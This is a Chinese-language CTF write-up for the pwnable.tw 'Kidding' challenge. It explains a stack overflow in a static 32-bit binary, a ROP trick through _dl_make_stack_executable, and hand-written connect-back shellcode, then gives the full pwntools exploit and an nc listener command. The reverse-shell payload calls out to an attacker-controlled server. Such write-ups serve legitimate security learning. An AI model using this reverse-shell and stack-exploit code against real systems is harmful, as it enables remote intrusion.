PWNABLE.TW-Kidding-WP

Posted on Jul 9, 2021

很久没碰过 pwnable 的题目了,这道题其实很久之前也做过了,但是当时没有服务器接反弹的 shell,所以就作罢了,今天新买了一台服务器,不需要在上面跑什么服务,所以把端口全部放开也没关系,就顺便做掉了这道题。

题目是一个静态链接的 32 位程序,开启了 NX,没有开 pie,主逻辑非常简短

漏洞是一个简单的栈溢出,可以溢出 92 个字节,但是函数退出前会关闭所有的输入输出文件。那么这个时候就可以考虑反弹 shell,用 socket 即可。

使栈可执行

但是只有 92 字节的溢出,通过 rop 实现反弹比较困难,而程序是静态链接的,其中存在一个神奇的函数

只要能够满足 *a1 != _libc_stack_end 就可以使栈可执行,通过 shellcode 实现反弹就会容易一点。其汇编实现为

也就是 *eax == __libc_stack_end。要满足这个条件需要一些神奇的 gadget,对该函数使用 IDA 的 xref 功能

发现有两处,第一个处于代码段,看一下这里

这里帮我们设置好了 __stack_prot,之后执行 mprotect 后栈就可以执行了,通过设置 ebp 可以使 eax 指向 __libc_stack_end,注意在 call 前 eax 中应该存 __libc_stack_end 的地址,即 [ebp + arg_10] == &__libc_stack_end,这个也很好满足,在代码段中有许多地方都硬编码了这个变量的地址,比如上面比较 eax 的时候,所以让 [ebp + arg_10] 指向代码段中硬编码的地址就可以了。

然后还有一点比较麻烦,再执行完上面这个 gadget 后,call 完 _dl_make_stack_executable 后,会 ret 回到 gadget 上,无法继续 rop 下去。但是观察一下 _dl_make_stack_executable 的汇编实现

可以发现在函数进入时 push 了 esi 和 ebx,退出时自然的也会 pop 掉,如果我们让函数进入时不 push 这个 esi,那么它在退出时就会多 pop 一次,滑倒我们的 rop 链上,实现了继续利用。注意到 gadget 在 call 的时候是通过函数指针来调用的,所以我们只要把这个指针加一就可以跳过第一个 push 了。

payload = 'a' * 8
payload += p32(0x0809A095 - 0x18) # setup ebp
payload += p32(pop_ecx_ret)
payload += p32(0x080EA9F4)
payload += p32(inc_mem_of_ecx_point_ret)
payload += p32(0x080937F0)
payload += p32(jmp_esp)

payload += shellcode

通过这样的 payload 就可以执行我们的 shellcode 了。

反弹 shell

这里选择使用 socket 来反弹,因为它足够简单,使用系统调用即可。

首先建立一个 socket。32 位下 eax 做功能号,ebx、ecx 分别做第二三个参数,sys_socket 的定义如下,其功能号为 0x66

asmlinkage long sys_socketcall(int call, unsigned long __user *args)

部分实现为

	unsigned long a[AUDITSC_ARGS];
	unsigned long a0, a1;
	int err;
	unsigned int len;

	if (call < 1 || call > SYS_SENDMMSG)
		return -EINVAL;
	call = array_index_nospec(call, SYS_SENDMMSG + 1);

	len = nargs[call];
	if (len > sizeof(a))
		return -EINVAL;

	/* copy_from_user should be SMP safe. */
	if (copy_from_user(a, args, len))
		return -EFAULT;

	err = audit_socketcall(nargs[call] / sizeof(unsigned long), a);
	if (err)
		return err;

	a0 = a[0];
	a1 = a[1];

	switch (call) {
	case SYS_SOCKET:
		err = __sys_socket(a0, a1, a[2]);
		break;
	case SYS_BIND:
		err = __sys_bind(a0, (struct sockaddr __user *)a1, a[2]);
		break;
	case SYS_CONNECT:
		err = __sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
		break;
	case SYS_LISTEN:
		err = __sys_listen(a0, a1);

我们首先需要创建一个新的 socket,所以使 switch 进入 SYS_SOCKET case 中,该 case 值为 1。__sys_socket 的定义为

int __sys_socket(int family, int type, int protocol)

这里需要选择协议,我们需要建立的是 tcp/ip stream 链接,对应的 family(协议族)为

#define AF_INET 2/* Internet IP Protocol */

对应的 type 为

enum sock_type {
SOCK_STREAM = 1,
SOCK_DGRAM = 2,
SOCK_RAW = 3,
SOCK_RDM = 4,
SOCK_SEQPACKET= 5,
SOCK_DCCP = 6,
SOCK_PACKET = 10,
};

其中的 SOCK_STREAM。对应的 protocol 为

IPPROTO_IP = 0, /* Dummy protocol for TCP*/

也就是说系统调用是 args 指针,也就是 ecx 要指向一个 [2,1,0] 的数组,我们可以用栈来存储该数组,并且设置 ebx 为 1,从而建立一个 tcp/ip 的 socket,如下

# sys_socket eax = 0x66, ebx = 0x1, ecx = esp[2, 1, 0]
asm_code = 'push 0x1; pop ebx; mov al, 0x66; xor edx, edx;'
asm_code += 'push edx; push ebx; push 0x2; mov ecx, esp; int 0x80;'

执行完系统调用后,会把打开的 socket 的文件描述符返回,存储于 eax 中,由于所以文件都被关了,可以想象该值为 0,下一步就是用 dup2 把 socket 的文件描述符复制给标准输出文件描述符(其实我觉得这一步不是必须的,因为可以连接到服务器后可以通过 exec 1>&0 来实现同样的效果,但是实际尝试后发现服务器一直没有回显。这一点不知道是什么原因)。

# dup2(oldfd, newfd) eax = 0x3F, ebx = eax(return from sys_socket) = 0, ecx = 1 
asm_code += 'pop esi; pop ecx; mov ebx, eax; mov eax, 0x3F; int 0x80;'

然后建立 socket 连接,这次需要进入 SYS_CONNECT 的 case,宏值为 3,__sys_connect 的定义为

int __sys_connect(int fd, struct sockaddr __user *uservaddr, int addrlen)

这三个也可以用建立时类似的方法用栈传递。ip 要编码为整数,可以用 pwntools 的方法来做,即

ip = u32(binary_ip("your_server_s_ip"))

然后为了减小 shellcode 的长度,这里就直接用的 ax,那么就是 0x6600。

# sys_socket eax = 0x66, ebx = 3, sys_connect(0, ip_port, 0x10)
asm_code += 'mov al, 0x66; push %d; push ax; push si; mov ecx, esp;' % ip
asm_code += 'push 0x10; push ecx; push ebx; mov ecx, esp; mov bl, 0x3; int 0x80;'

最后执行 execve 弹 shell

# execve("/bin/sh")
asm_code += 'mov al, 0xb; pop ecx; push 0x68732f; push 0x6e69622f; mov ebx, esp; int 0x80;'

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'

#sh = process("./kidding")
sh = remote("chall.pwnable.tw",10303)

inc_mem_of_ecx_point_ret = 0x080842c8
pop_ecx_ret = 0x080583c9
jmp_esp = 0x080bd13b

ip = u32(binary_ip("your_server_s_ip"))

payload = 'a' * 8
payload += p32(0x0809A095 - 0x18) # setup ebp
payload += p32(pop_ecx_ret)
payload += p32(0x080EA9F4)
payload += p32(inc_mem_of_ecx_point_ret)
payload += p32(0x080937F0)
payload += p32(jmp_esp)

# sys_socket eax = 0x66, ebx = 0x1, ecx = esp[2, 1, 0]
asm_code = 'push 0x1; pop ebx; mov al, 0x66; xor edx, edx;'
asm_code += 'push edx; push ebx; push 0x2; mov ecx, esp; int 0x80;'
# dup2(oldfd, newfd) eax = 0x3F, ebx = eax(return from sys_socket) = 0, ecx = 1 
asm_code += 'pop esi; pop ecx; mov ebx, eax; mov eax, 0x3F; int 0x80;'
# sys_socket eax = 0x66, ebx = 3, sys_connect(0, ip_port, 0x10)
asm_code += 'mov al, 0x66; push %d; push ax; push si; mov ecx, esp;' % ip
asm_code += 'push 0x10; push ecx; push ebx; mov ecx, esp; mov bl, 0x3; int 0x80;'
# execve("/bin/sh")
asm_code += 'mov al, 0xb; pop ecx; push 0x68732f; push 0x6e69622f; mov ebx, esp; int 0x80;'

payload += asm(asm_code)

#gdb.attach(proc.pidof(sh)[0])
sh.send(payload)

sh.interactive()

在服务器上监听连接可以使用 nc,只需要

nc -l 26112

即可。